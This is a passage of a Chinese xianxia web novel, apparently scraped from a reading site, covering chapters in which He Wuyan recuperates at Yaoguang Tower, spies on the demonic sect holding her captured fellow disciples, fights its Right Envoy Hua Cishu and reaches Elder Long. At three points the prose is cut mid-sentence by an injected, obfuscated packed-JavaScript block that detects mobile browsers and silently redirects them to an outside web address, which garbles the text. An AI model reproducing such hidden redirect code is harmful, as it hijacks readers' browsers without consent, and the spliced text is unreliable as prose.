d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李星中却静静地看着她，半晌道：“师姐，半年已过，你当时受的伤为何还没好？” 何无盐竟然还真的顺着这一层想了想，“我身上外伤已痊愈。不过是丹田空空，气不存脉，修行之后灵气只会在身体里乱窜然后四处逸散罢了。无药师弟建议我泡药浴，用东海灵蛇珠蕴养经脉，或许能有缓解之效。” “这里有三清河的源头，九天之水。从瑶光楼顶层出去，不出三百步，是九天之水形成的天然温泉，名瑶光池，其中泉水与普通温泉不同，能洗经换髓，对经脉受损有莫大的好处。至于东海灵蛇珠，我会设法帮你找来。这里你还算喜欢吗？” 什么意思？何无盐一时摸不着头脑。“还不错吧，这里有山有水，精致秀丽。还有独步天下的瑶光池，可以说是人间仙境了。” “既然不错，不妨在这里住一段时间。”李星中微微一笑，“此处外有颠倒五行阵，内有瀑布水帘，其他人轻易找不到这里来。若有人破阵，我会第一时间感应到；在我到之前有四方镇楼兽看守，应当是很安全的。师姐你现在身手尚未恢复，住在这里休养生息一阵，等到伤好了，我再带你出去。” 何无盐感觉有些微妙。 “星中师弟，多谢你的好意。不过……我现在首先要找到师父的下落，然后还得把你的情况向师叔汇报。现下并非疗伤的时刻。” “以一月为期限，到时你若想回去，我绝不拦着。”李星中好像早就想到了这一点，对答如流。 “你现在不比以往，需要睡觉吃饭好好休息。若是要找何师伯，绝不是一日之功，所以你需要一个安全的落脚点，而且此处得天独厚，还能为你治疗提供便利。” 李星中眼里含笑，但是手上一点不含糊，麻溜地把她送到了温泉旁，扔下了换洗衣物，便径自离开了，“你先考虑考虑。泡完再给我答复。” 她有些无奈，“怎么像个小孩一样……”李星中已不见了身影。 些微有些犹豫，不过又想了想，既然已经到这个份上了，试试也可以。雅一门禁地是息语林，清一门的禁地便是这九天之水。功效或许真的有李星中说的那样，能逆天改命呢。 下了水，温度十分舒心，疲惫渐渐散开，甚至连她经脉处的酸痒也得到了些许缓解。这泉水果然有奇效。何无盐泡上半刻钟，开始尝试朝云心诀。 而水帘之外，李星中和白慕圣对峙着。 36. 定情 李星中冰冷地盯着白慕圣。 随即，他脸色一变，拈死了脚边的白玉蜘蛛。玄冥出鞘！白慕圣躲闪不及，面上被划出一道血痕。 白慕圣将脸上血迹轻轻一抹，拍起手来：“魔子大人好生威风。” “再有下次，我就把你那窝蜘蛛一把火全烧了。” “此言差矣。这些小蜘蛛是右使大人为了探听八方消息下了血本培育起来的宝贝，可是费了不少劲。我只是暂时代管一下罢了。”白慕圣抓住了李星中的小把柄，笑得不可谓不灿烂： “但是话又说回来，若是日后，她发现你在骗她，你该如何？” “我并没有骗她，说的都是实情。” “只是你没说的可比说出来的重要多了。” “你如果学不会闭嘴，我可以教你。” “纸可是包不住火的。” 李星中双眼一眯，透出几分威胁的意味，“与其多管闲事，白长老，你还不如照顾好这些宝贝，别让它们出现在不该出现的地方。” 白慕圣哈哈大笑，“古人云：窈窕淑女，君子好逑。诚不欺我。” 哗啦一声，玄冥刺破云幕，直指白慕圣面中。 白慕圣当即召唤“严楞经”：“如是我闻……”可还来不及下一句，已被剑削去了一指。 玄冥在李星中手中，发出寒光：“我不介意魔教再多死一个人。” “哼！你才获得血色禁果多久，如此滥用力量，很快就会暴走失控，到时候你别来求我。”白慕圣禁不住冷笑。李星中的剑本就极快，可是再快，凭借他原本的修为，也不可能削去白慕圣的手指。 又道：“你以为我不说，她就不会知道吗？现在她身心俱疲，还没有反应过来，等到缓过劲了，你以为她不会细想这其中的种种、不会察觉这其中的猫腻？我看你还能瞒几时。” “这就不劳阁下操心了。”玄冥的寒光映着李星中的双眼，蓝色的光芒一闪而过，显得锐利、冰冷，锋芒毕露而又高不可攀。 “再也不要出现在此处。若是有一人知道她在这里，我会让你死无葬身之地。”少年人的戾气从眉眼间喷薄而出。 白慕圣握住断指，咬紧牙关冷哼了一声，转身离去。 此时有云雾飘荡过来。开始是淡淡的、极为稀薄的，衬得李星中一身白衣，如真似幻，如梦初醒；而后仿佛有真龙在布云施雨、吞云吐雾，浓浓的云海从脚底开始堆积，蔓延到脚脖子、膝盖、腰身，又盖过胸口、嘴巴、鼻子……不多久，就吞噬了他的身影。 白茫茫的一片，人已了无踪迹。 这边，何无盐一直在努力尝试朝云心决。可灵气却只能短暂地行走经脉，不一会儿就飘散到空中去了。 就算是这样，何无盐也是大喜。这瑶光池当真有用！说不定多泡几个来回，能帮她重塑七经八脉，再续仙缘。 如此不知过了多久，何无盐思量着时候也差不多了，不好让李星中一直等着，总是要给他一个答复的。便恋恋不舍地穿衣起身，来到一楼。 青色纱幔薄如婵娟，其上有青山和松柏图纹，以金线刺成，层层纱幔之下，竟然似有崇山堆叠、延绵起伏，又有青松劲挺、傲骨凌风。 越过重重山脉，一个宝蓝色的身影逐渐清晰。他半躺着，手撑着头，垂着眼。缓缓揭开最后一层纱幔，一点点走近了看，他纤长的睫毛不时小幅度地扑动着，好像是梦到了什么可怕之事。何无盐还注意到，他的皮肤白皙干净，散发着若有似无的香味。 “师姐。”声音轻轻地。 “嗯。”她正准备上前跟他说话，却发现他好像只是在梦中呓语。 不禁有些哑然失笑。只是不知他究竟梦到了什么，眉头间微微皱着。何无盐又走近了一些，然后他的气息突然撞进了鼻子。顺着这股青柏嗅过去，源头是他怀中有一块不到巴掌大小的圆形凸起。或许是块松柏木，以特殊的制法，能将其清香保留下来，就跟置身雨后的松木林一般。清一门平时喜爱鼓捣这些，所以也不足为奇。 看着眼前这人气息悠长，她不禁感叹这人还是活着好。活着比一具冰冷的尸体好多了。如果这时再看到那荆棘遍体、冰霜覆身的模样，她会肝肠寸断。 这双眼睛却睁开了。 “师姐。”比起往常，他的声音更加低沉，带有一丝刚沙哑。睡眼惺忪，唇红齿白。 “瑶光池感觉如何？”一些热气几乎要喷到脸上来。 他的眼里泛着繁星的冷冽，有些遥远，可是人却散发着温暖舒适又干净的热气，就像瑶光池那样，一旦陷进去了就很难再起身。 “没用吗？”见她不回答，他微微地皱了一下眉。 “不是，有用。”何无盐立即反驳。可是下一句却不知道说什么，一双眼睛在他的脸上和地板之间来来回回。 默契的沉默在两人之间回荡。 李星中的脸一点点靠近了。直到他的嘴轻轻地贴了上来。 嗯……感觉……热热的，暖暖的。 但她大气不敢喘。赶忙别过了头。 等回过神来，只看李星中目光灼灼。夕阳西沉，此时几缕光线透过青纱，更加令人昏昏欲睡。四周黯淡，只有那双眼睛浅浅地亮着。 接触过的地方更加发烫。就要匆匆上楼。 “师姐！”他急忙叫住她。 她这下进不得，退不得。刚要迈开腿，却想起那声音里的失措；可退回去……那眼睛她不敢再看。 手上突然被拽了一下，她失去了平衡，跌入那张躺椅之上，跌入那股清香之中。 “别动。”这样说着，李星中掰正她的脸。一股凉凉的气息从嘴和鼻子进入，很缓慢地修复着经脉。身体某处好像打开了通道，向着未知的力量和感受敞开，麻麻的，酥酥的，不自觉就沉醉其中。 如此过了半柱香的功夫。 “瑶池泉水能令你放松，这之后我再以血色禁果之力为你修复经脉，你感觉效果如何？”李星中在她耳边问。 “……确实有用。”何无盐听到他的心跳，很快。再偷偷瞄一眼他，微微发红。不过，估计自己也没比他好多少。 “每日浸泡泉水一个时辰，我再为你洗经伐髓，如此一个月，应该会有很大改善。所以，留下来可好？” “……如你所说，我还要寻找师父的下落，需一个落脚的地方。” 一吻轻轻落在她的手背上。 “能获此殊荣，实乃瑶光楼之幸。” 如此，何无盐便在瑶光楼住下了。每到夜色深重时，她便摸黑出门。 根据李星中所说，魔教虽然是“占领”了三青山，但其实也有几分被“困住”的意思。他们不懂阵法，所以在这山中并不能来去自如，活动范围有限。为此，花辞树对好几个师兄弟用了极刑，想要解阵之法。不过很遗憾，三青山大部分弟子各有各的修行，对阵法一途确实不通，所以魔教只能放弃普通弟子，又转而在师叔师伯们身上下功夫。有几位师叔不肯招供，已经驾鹤西去。 但话又说回来，魔教费尽功夫，挑唆俗家弟子，也确实得到了些东西。 雅一门本就有入门弟子和俗家弟子之分，俗家弟子已在马师叔的带领下，已经叛入魔教。 这着实令人意想不到，但似乎又在情理之中。 她突破十年大限后，刚上山不久，就遇到马师叔带清一门的弟子来打探息语林的消息。现在细细想来，马师叔莫不是那时就已经在谋划着引狼入室？不得不说，魔教确实找到了一个极好的突破口。 俗家弟子没有仙根仙缘，有下山和留在山上两条路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家不明所以，先控制了安在之，后意欲将此图纹誊下来。就在此时，被四周隐藏起来的魔教袭击了。因为事发突然，大部分师兄弟被一举拿下，清一门的长老们拼死抗争才为少数人争取到逃跑的时间。只是现在过去了大半年，跑掉的也被抓回来一些。剩下还在负隅顽抗的，不知道还能撑多久。 何无盐推测道：“看来那个图纹，就是空间转移的关键。但空间转移要成功，需要转移前后两地都有这个图纹，或许还需要一些辅助的仪式或物件。所以，只能在蛊惑在之师兄后，魔教才能驱使在之师兄画下这个图纹，神不知鬼不觉地来到山上。” 李星中同意她的看法。 “再说中青篱藤毒者，其表现似乎并不相同。安在之师兄的情况，或许跟姜卫照相似。”两人都还记得白慕圣利用姜卫照对付李星中的事情。“一般中毒者只是面色发青发紫，先是丧失活动能力，时间一久就威胁生命。可如同安在之师兄和姜卫照师兄这般，完全被控制，如同中了邪的，并不多见。” 李星中略微思索道，“关于此事，有机会我在教内打听打听。” “那你可知道何不去师叔的下落？何无奇说他已回到了山上。”还带着方方。 “他……他不敌教内长老，已被抓了。” “雅一、清一沦陷，那太一门呢？龙师祖何在？” “他老人家，你也知道的，对门内之事从来不过问的。等到他终于想起来要到朝云峰上去见见他这些师侄的，恐怕山门上‘天一’二字已经改成‘紫旭’了。至于紫旭教内那些人，没几个聪慧的，连缥缈峰的门都找不到。” 紫旭，把自己比作太阳，魔教还真是大言不惭。何无盐有几分不屑。 不过局势果然很严重。何无盐大致摸清楚了敌我的状况，认为眼下，最紧要的一关是巨阙大阵。此阵掌握在掌门人何不山的手上。魔教为了得到巨阙大阵也使出种种手段，何不山被花辞树单独转移关押，估计已受了不少折磨。 她必须抓紧时间找到何不山。 月黑风高，宜杀人放火。 37. 线索 黑衣人偷偷来到雅一门的正殿。 正是何无盐。为了方便何无盐隐蔽行事，李星中给了她很多宝贝。敛息丸、引路符这些自然不在话下，一堆乱七八糟的药丸和符箓、法器也细细叮嘱后一并塞给了她。 东西大致分为三类，一类是探查消息时可用的。定身符、爆炸符、吐真剂、迷雾弹、牵牛丸…… “牵牛丸？此物有何用？” “吃下腹泻不止。” 何无盐感叹，“咱们一个名门正派，竟然也有这么多旁门左道。”李星中正色道：“这些只是研究失败的副产物。” 再有一类，主要效果集中在疗愈上。还有一些法器，给她傍身用。 不仅如此，玄冥也暂借给了她。她要偷偷摸摸地做事，便不能用自己的灵剑御剑飞行，也不能用望舒羽衣。前者速度太慢，容易被发现，后者体积太大不说还会让旁人将她误解为月左使，引来更大的麻烦。 若是遇到一般的紫旭教弟子，就可以拿出玄冥剑，说自己是奉魔子之命行事；若遇到教内长老，大概很难糊弄过去，真跑不过打了起来，玄冥与李星中命门相连，他能及时感应过来救她。 李星中将教内长老和花右使的长相特征细细描绘了一遍，叮嘱再三道，这几个人，她谁也打不过，一旦遇到符合特征的人，不用思考，不要深入，有多远跑多远。 “不能给他们用牵牛丸或者定身符吗？” “……效力不够。” 等到子时，守卫忙于交班、聊得热火朝天。何无盐觉得门卫之中有两人面熟，但也未多想，趁机溜进了雅一大殿。 雅一门乃修仙圣地，人人以参悟大道己任，仅有几间禁闭室，是给犯了大错的弟子用的，并没有修建牢狱，是以被抓后，师兄弟们被集中关押在正殿之中。 他命人砍伐山上乔木，制成单人囚笼。一人一笼，每笼间距四步，左右各两排，中间留作通道。 仔细看去，人人面色发青——应该是被下了青篱藤毒。手脚也皆上了镣铐。整个师门几乎都在这里了。有好几人显然因为中毒已经暴毙而亡。 何无盐几乎不忍再看这惨状。转了一小圈，走到第三根柱后，何无盐突然看见了二师兄何无冥。他躺在那里，面色微微发青，血迹斑斑，奄奄一息。 “二师兄。” 何无冥眼珠子在眼皮子里滚了滚，没睁开。 她又用手轻轻推了推。“二师兄。” 何无冥费了半天劲，把眼睛睁开一条缝，似乎是认出了她来，垂死梦中惊坐起，突然道： “无盐？你怎么在这里？有没有人发现你？快逃，别回头！别管我们！跑得了一个是一个！”他说得很小声，但情绪激动。 何无盐看见他如此狼狈，又如此关心自己，一股酸劲直冲鼻头。当年二师兄与赵无邪相约下山，先出山者胜，是何等意气风发，如今却衣衫不整，披头散发，身上还有很重的血腥味。此情此景，任谁看了都心痛不已。 她把九转续命丹塞进了何无冥的嘴里，又为他简单地止了血。 他稍微缓过劲来，神志清明了些，“不用管，这些伤是我自己弄的。我担心被青篱藤夺了心志，用疼痛换来清醒，值得。其他师兄弟怎么样了？” 但他显然已经失血过多濒临死亡。何无盐一股脑地把醒神丸、玉露丸、九转续命丹都塞给了他，又给了他几件宝器，在必要的关头做防身用。 “他们也都中了毒。有一些……已经是无力回天了。” “魔教妖人！”何无冥恨恨地骂了一句，“这些天，师兄弟们有些修为不高，承受不住毒性死了，就会被拖出去随意丢弃在山间。” 她闻言大为震惊，念头一转道：“二师兄，我现在就救你们出来！”便取出玄冥剑，当下就要将笼子破开。 “住手！”何无名拦住了她。“跑不掉的，魔教五大长老，实力强横，就算跑掉也会被抓回来。而且青篱藤毒不解，就算你把我们救出来也是枉然。” 何无盐捂住了自己的眼睛，否则她怕泪会流下来。 “快走，你留在这里够久了。留得青山在，不怕没柴烧，不要硬来！”二师兄催促她。 可是她久久不能平复。 “若你执意不走，可以设法营救掌门人。” “我师父他怎么样了？” “下山之前，掌门他正在冲击北冥神功第八重，但还未突破，魔教就找上门来。神功不成，反受重伤，被趁虚而入后单独看押起来了。我与师父，就是你何不去师叔被抓时，师父被关在了禁闭室。我猜测，掌门或许也是被关押在禁闭室。” “那你跟何不去师叔一起护送的那名女子呢？” “这我却是不知。当时师父只是让我等着他，就带着那名女子离开了。等他回来时，并未再带着那名女子。” 何无盐略作思索，镇定心神，“二师兄，我一定会找到解毒之法，回来救你们。” 二师兄重重地点了点头。“我信你。” 她便离开了大殿。 禁闭室她倒是也去的很少，只是依稀记得要从荷花木兰园经过。可是……荷花木兰园有好几个出口，到底是哪一个呢？ 最左边吧，禁闭室理应设在最偏僻之处。如果没记错，左转后再走一截路，就几乎寥无人烟了。 但何无盐越走越感觉不对劲。此时月色稀微，借着一点光，只觉得去禁闭室的路好像也不长这样。好在此时巡视并不多，她穿着隐身衣，服下敛息丸，动作近乎微不可闻，即使有人，也很难引起注意。于是她又折返回来。 突然，耳边传来“砰”地一声。似乎是有人摔碎了茶盏。 她认出这里是何不山的房间。师父被关押，那是谁住在这里？ 靠近了窗边。 “废物！找了这么久，最后的线索也断了！”是一名年轻男子，嗓音华丽低沉，只是此时怒不可遏，听起来有几分发抖。 “右使大人，您别生气，气着了对身体不好。” “啪！”一记清脆的耳光。“人呢？！我要人！” 什么？难道是她被误认为月左使，行踪暴露了？何无盐此时有几分心惊胆战，手上微光一闪，抹过双眼，目光穿过了墙面。 座上男子一双桃花眼煞是勾人，眼下有颗泪痣。一身的红服和头上那朵红色的杜鹃花，让人以为他要去迎新娘。看来这就是紫旭教右使花辞树了。 “到目前为止，所有可能连通的空间隧道都已打通了，没有见到教主的身影。教主……会不会落到了某个空间缝隙之中。”随从的头越埋越低。 “不可能！当初要建构空间隧道的设想就是教主提出来的，这么多年了，我们一直在执行她的计划，她怎么会落到缝隙之中？” 她心下一凛。紫旭教教主李星坠？这么听起来，她好像已经失踪很多年了。而且打通空间隧道……紫旭教竟然在密谋这样的事。这已触及到神境，乃僭越之举。 在月亮城时，她也见到了骇人听闻的空间之术。只不过当时的术法要依托于月亮岩，只能在有限的范围内使用。 若是能打开空间通道而不依托于任何事物，那李星坠岂非拥有了近乎于半神的实力？ 没想到，紫旭教不好好修行，却总想着这些歪门邪道，还不惜拿月亮城那么多人做实验，已经是入了迷，发了疯，着了“魔”。 若是落入到空间缝隙里，恐怕只有进没有出。那就意味着这世上再没有这号人物了。 “或许不该逼教主逼得那样急，否则她也不会铤而走险。教主急匆匆地使用了空间密匙，可那时空间通道还没有搭建好，恐怕是凶多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482349|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉少啊。”随从痛心疾首道。 空间密匙……难道是指那个太阳眼图纹？ 又是噼里啪啦一阵响，桌椅全被推翻了，随从被打倒在地。 “你在教我做事？！” “右使恕罪，属下不敢！”随从立即单膝跪地，认错领罚。 “找！给我找！五大长老最近不知道吃了什么药，本是从来不问教务的，竟然联起手来逼问我教主的下落，还质问我是否在谋取教主之位，真是荒唐！” “肯定是白慕圣那个小子在暗暗使劲。他一直鬼鬼祟祟地，不知道在干些什么，属下怀疑他有二心，眼下撺掇剩余四位长老，想不利于右使大人。” 花辞树缓了缓，喝了口茶。“白慕圣不过是近二十年新晋的长老，能掀起什么风浪来？而且其余四位长老之中，一个是我的人；一个老东西，鬼头鬼脸的、整日见不得人，身体也不大行了，对教务更是无能为力；剩下两个只想着在教众面前作威作福，成不了什么气候。” “若不是这样，教内的事，怎会一股脑落到我的头上。” “不愧是右使大人！您为圣教、为整个天下殚精竭虑，白长老年轻短视，不能明白这一点，只知道在教内徒生波澜。属下这就安他一个无力管理教众的罪名，责令他让出长老之位！” 花辞树摆了摆手，“这倒是不必。他这个人，也有他的长处。那些破书，我们都不爱看，给他管着，能从中提出点有用的东西来，也甚好。这长老之位还是暂时让他坐着吧。”说着扶了扶额，揉了揉太阳穴。 “是！右使大人英明神武！” “去找，一定要把教主找回来。平时教务我还能管着，是因为无人愿意管；眼下与正道开战在即，没有教主，这几个长老，恐怕不会听我号令。” “是，右使大人。”随从回答道，随即又小心翼翼地问，“但找了这么多年，若在开战之前仍不能把教主找回来……” 花辞树沉思了一会儿，顿了顿，“那就找一个长得像的傀儡，露个面给他们远远地看一眼就行。” “遵命。” “最近雅一门正殿情况怎么样了？还有人来劫狱吗？” “没有了。江长老的意见很管用。死的死，伤的伤，抓的都差不多了。” 原来，下毒是长老金花飞蚺江胜燕的意思。 江胜燕负责看守三青山众人，殿内安排了看守，一日六班，殿外每一个时辰换巡。最开始，山上没被抓的弟子会试图前来营救，还成功了一两次。 所以江胜燕就决定直接给三青山众人下青篱藤毒。这样，他们失去了行动能力，整日昏昏沉沉，不省人事，就用不担心他们会闹事或有什么小动作。即使有人前来营救，也会有可能被中毒的师兄弟误伤。此举可谓成效卓越，现在几乎没有什么营救之举了，看守就变成一日两班，巡逻也放松了很多。 怪不得刚才走在路上却感觉很清静。 “其实对此事，马宵今一直有些意见。” “马宵今？这是何人？” “此人乃雅一门俗家弟子的长老，多亏了他，我们才能如此顺利地拿下朝云峰。” “哦，原来是他。他有什么意见？” “江长老给了他一张新的补天丸药材清单，里面有一味药材是入门弟子的心头血。若是给他们都下了青篱藤毒，这血怕是用不成了。” “属下怀疑，这马宵今对此事暗中不满，是以给我们的《七步破阵法》是假的。” “怎么说?” “这次破阵……又折损二十余人。” 花辞树闭上了眼，揉了揉眉心，“告诉江长老，给马宵今几个可以用的人。下去吧。” “是。” 她一听随从要走，立即藏在了树背后。看见随从走了，便也准备离开此处。 38. 太一门 何无盐心乱如麻。刚刚听到的消息让她脑子炸开了锅。心神不定之下，呼吸也有几分慌乱。 “谁？！”屋内人骤然警觉。 何无盐一听，大感不妙，忘记自己还有隐身衣护体，下意识地就跑了起来。 但是，此时的何无盐哪里跑得过花辞树呢？没两步，一道烛光从身边划过，照出了身形来。她硬生生停了脚，以手结印，将遁地符往自己脑门上一贴： “请岳渎真官，土地神袛，上天下地，如我心意！” 话音一落，便立即进入了山体之中。她忙不迭地在地下奔袭了十来里，累得气喘吁吁，但身后的压迫感一直没有减轻。 突然脚底一阵上下颠簸，她大呼不妙，随即就被震出地面。 “准备去哪里？”低沉华丽的声音似乎就在耳边。 她立即将手中的爆炸符、定身符朝着声音来向全部扔出。 “天一伏魔钟！” 山间噼里啪啦炸起，点燃了枯树和低伏的小草。 紧接着是悠久的钟声，一人高的钟上从天而降，罩住了来人。 钟身漆黑，浇铸了天一老祖飞升成仙的故事。他以凡人之躯，带领民众，九次智斗蛇精熊怪，最终殒命。临死前，竟有灵光乍现，终于领悟大道，将这些妖怪从人间驱逐了出去。自此，人间再无精怪。而天一老祖得道后，以魂魄之体创天一门，流芳万年。 “请天一老祖，清妖精鬼怪！” 又是三声钟响。钟声绵长悠远，传到百里之外。 但没过多久，钟身表面浮现九九八十一个手掌印，最终出现了条缝，从内部炸开来，裂成了三半。 “这里可没有妖精鬼怪，只有人。” 花辞树拍拍身上的灰，走了出来。 “可惜了，法器是好法器，但你不会用。” “还有什么招？都使出来吧。” 何无盐暗道不好。这下看来是跑不掉了。要用玄冥剑吗？ “看招！” 从百宝袋里随手拿了一样，竟是个双面石镜，团云纹下刻着“镜花水月”四字。 这有什么用？！ 但花辞树已逼到面前。她发现，桃花眼下那颗小痣原是淡红色的。 顾不上那许多了！ 抬起镜子就照向眼前这个人。 从这面的镜中，她看到诡异的一幕：眨眼间，黑夜换了白昼，高山杜鹃开满山坡，坡上正是凤眼美人，在对着花辞树笑。 这美人，不正是她常常梦见的哪个吗？这镜子难道竟是在窥视使用者的心思？ 但说来也奇怪，镜中的花辞树却有些晃了神。本就一双多情眼，这样看着，似乎更是缱绻温柔。他喃喃自语着什么，竟然朝何无盐伸出了手。 就是此时！何无盐奋起一跃！ 呲……随着剑尖微微刺入了心口，白昼又变回了黑夜，晨曦蜕为月色。 花辞树右手紧紧握住了剑身，血流如注。若非如此，此剑锐利，恐怕已经将他贯穿。 红色的血，红色的郎倌服，红色的杜鹃花。火光跳动下，微锁的眉头，低沉的声音： “破魔剑？” 破魔剑？ 何无盐没有用玄冥。她担心李星中在魔教的处境。他说过，魔教很多人想要他死。若是用了玄冥，李星中会如何？ 细长的剑身，轻巧灵动，是她自己在地火里淬炼出来的灵剑。 一击得逞，她便立即要逃。 剑身上传来的力道却很大。花辞树将此剑紧紧握住了。 “三青山之人。既然回了家，怎么急着走？”左手便掐向她的脖子。 这人莫不是疯了！不要手了吗！ 她当即翻转，以身体带动破魔剑旋转，力气之大，再不放手只会削断五指，再借助剑尖上传来的力，她向后一跃，到了五步之外。 没想到，这口气还未来得及歇下，两掌隔空而至。 她及时在空中划下两个十字，却承受不住这两掌的威压，连连后退，全身发麻，虎口破裂，险些都没有站住。 砰！砰！砰！砰！巨大的爆炸声引起山谷的回声。 那低沉华丽的嗓音十分阴冷：“有了这破魔剑，便留你不得。” 之前握住剑流下的血竟然漂浮起来，汇聚为一个巨大的掌印。掌印中渐渐浮现出一张脸，冲着她尖叫着飞来。 十字破魔斩！ 连出几剑风，却被掌印中的人脸吃了进去。尖叫越发刺耳，速度却不见减缓，一口将她吞下。 血腥味铺天盖地，浓稠的血色遮挡住了所有视线。 再使出破魔斩，却威力平平，被斩断的血线很快又重新聚集起来。 百宝袋里一定还有什么法器可以对付这玩意。正想伸手，却发现身体被箍得死死的，不能动弹。 血线宛若赤蛇，分别缠住了脚腕、腰腹、手腕、脖颈，越收越紧，还朝五个方向分别拉扯。身体这几处传来一阵剧痛。 如此下去，会被五马分尸的。 可越挣扎，缠得就越紧。 突然，有清脆的鸟鸣自身后响起。 洁白的羽翼张开，撑破了捆绑她的赤蛇，撑破了掌中人脸的肚皮。 这些东西变成一滩血迹落在了地上，火光烧出愈加发红的痣、多情的眼。 不到一个呼吸的功夫，那双眼突然变得凌厉，血迹便化为细针无数，刺向何无盐。 “咻！” 洁白双翼带着何无盐越飞越快，越飞越高，在月色下，如同流星飞过，然后极速下坠。 她回过头看了一眼。 花辞树脸色阴沉地像是要滴出水：“破魔剑……望舒羽衣……姓月的，你非要与我作对吗？！”于是往下一蹲，竟如一枚冲天的红色烟花，直追她而来。 她拼命往前飞。可是背上的翅膀却那样沉重，压得人喘不过气来。没有了灵气，驾驭了这望舒羽衣便十分费劲。心肺好像要爆炸一样，筋脉也因为强行要运行周天、却没有灵气的滋养而酸痒发作。 豆粒大的汗水从额头、眉间流下，已然湿透了她的外衫。 时间从来没有这么漫长。 月色已然不见踪影，抬眼望去，身下的山林黑洞洞，什么也看不见。她心一横，便直接往里钻。 顾不上被树木和乱石撞到、划伤的痛，进入了黑暗之中，她便放慢了手脚，尽量不发出任何声音，然后一个劲地往漆黑的深处去，直到什么也看不见、什么也听不见为止。 她看不见，花辞树也看不见。黑夜就是三青山给她的庇护。 到这里，应该能跑掉了吧？ 终于确定身后没有了追兵，她忍不住大口大口地喘气。来自筋脉的那股酸痒感很快就淹没了全身。她紧紧地抱住了自己，牙关开始上下打颤。 双手颤抖着摸索百宝袋，没有光，也来不及分辨，就把还剩的治疗所用的丹药尽数吞了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482350|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 刹时，五脏六腑聚起一股气。 而同时，伴随着聚集的这股气，一道恐怖的目光投了过来。阴暗、浑浊，自黑暗的深处，穿过她的身体，看透她的魂魄。若是一个人有什么秘密，在这目光的注视下都会被扒了个干净，然后一同坠入深渊。 她又拼了命地往前奔跑，想要摆脱这目光的钳制。或许是苍虬的树根，或许是凸起的土块，连着绊了好几下，带着她往前踉跄了几步。 脚下突然踏空，止不住地向下坠去。 天地变色。 她心中又是一惊，在空中不停地腾挪闪躲，想卸去这劲力，但一会儿感觉自己好像是在下落，一会儿却又觉得自己被托着飞上了天。等到回过神来，终于是站住了脚。 抬眼看，只有牌楼高耸。 牌楼上有一匾，匾上写着：“白云苍狗。” 这……是哪里？ 恐怖的目光确实已经消失了。不管这是哪里，大抵是安全所在。 她犹豫了一会儿，便走向牌楼。刚踏进去，只见水天一色，互为镜面。自己却身处风雨亭之内，有数只翠芽，如同孩童玩闹，薅着她的脸。 “你这孩子，怎么才来。”熟悉的声音传来。 是龙师祖！这里是缥缈峰！ “我早就说你跟何不山那小子合不来，现在是想明白了？”龙师祖倏忽而至，笑意盈盈。 “龙师祖，求你救救三青山！”她扑通一声，跪在了地上，“三青山现在被魔教妖人占据，那些人，他们竟然拿门内弟子炼丹！”说着眼眶便红了。 “小徒孙，此事急不得。”龙师祖沉吟了一会儿，摸了摸自己的胡须。 “可是师祖，此事已火烧眉毛了！” “话是这么说，可我却是分身乏术。你跟我来。” 两人辗转廊桥数次，来到玲珑宝塔面前。 此塔放置于神坛之上，塔前供有鲜果。在远处看，本不起眼，甚至都看不见它的存在。走近了，却金碧辉煌，高耸入云，有一股难以言喻的震撼。让人大气也不敢出。 塔有六面，眼见无门，但龙师祖冲着一面墙便进去了。她赶紧跟上。 寒光闪过。 锐爪锋利无比，正向脸伸来。 她想都没有，抽剑往前就是一劈。 “叮！” 剑被龙师祖握住，卸去劲道。 “小徒孙，别怕。你再仔细瞧瞧。” 她定了定神。原来是一只巨大银龙盘亘塔内。 但这么说也不确切。 塔内视野所及之处，由上到下，被巨大的银龙切割为两半。左边，绘有天一门历代掌门人和出名的先人前辈，呈仙瑞祥和之象。而最底下一排，正是何不山。他正在闭关打坐，但脸色焦急痛苦。 越过银龙，何不山的右边是断臂残肢，血流千里，似有腐烂尸臭扑鼻。 整体观之，天一门占据壁画部分较多，可越往下，画面越晦暗不清；右边这些歪魔邪道，虽占据壁画面积较小，越往下，却越亮眼。在这右边壁画的某个角落之中，竟然有一身影，也让她觉得十分眼熟。 而这只银龙，须□□浮于壁画之中，鳞光闪闪，筋骨分明，庞大的身躯蕴含着磅礴的力量。 顺着它威武的身姿望向塔顶的中心，赫然是那太阳眼图纹！ “这是？!……” “小徒孙，你有没有想过，正魔之分，从何而来？” 39. 烛龙三问 “小徒孙，你有没有想过，正魔之分，从何而来？”龙师祖摸着自己的胡须。 何无盐想了想，发现自己确实知道不多。“弟子下山以来，所遇魔教中人，行事诡异，出手狠辣，冷酷 无情，不讲仁义道德，甚至对自己人也毫无同理之心，一点小错就痛下杀手。与我正道人士，颇为不同。” “嗯，但他们行事为何如此残酷？” “这……弟子在山下时，曾遇到魔教百变书生白慕圣。他放言，按照我门的修行之法，是不可能成仙的。这说明，修行的目的虽相同，但魔教与我们所信之道却不同。” 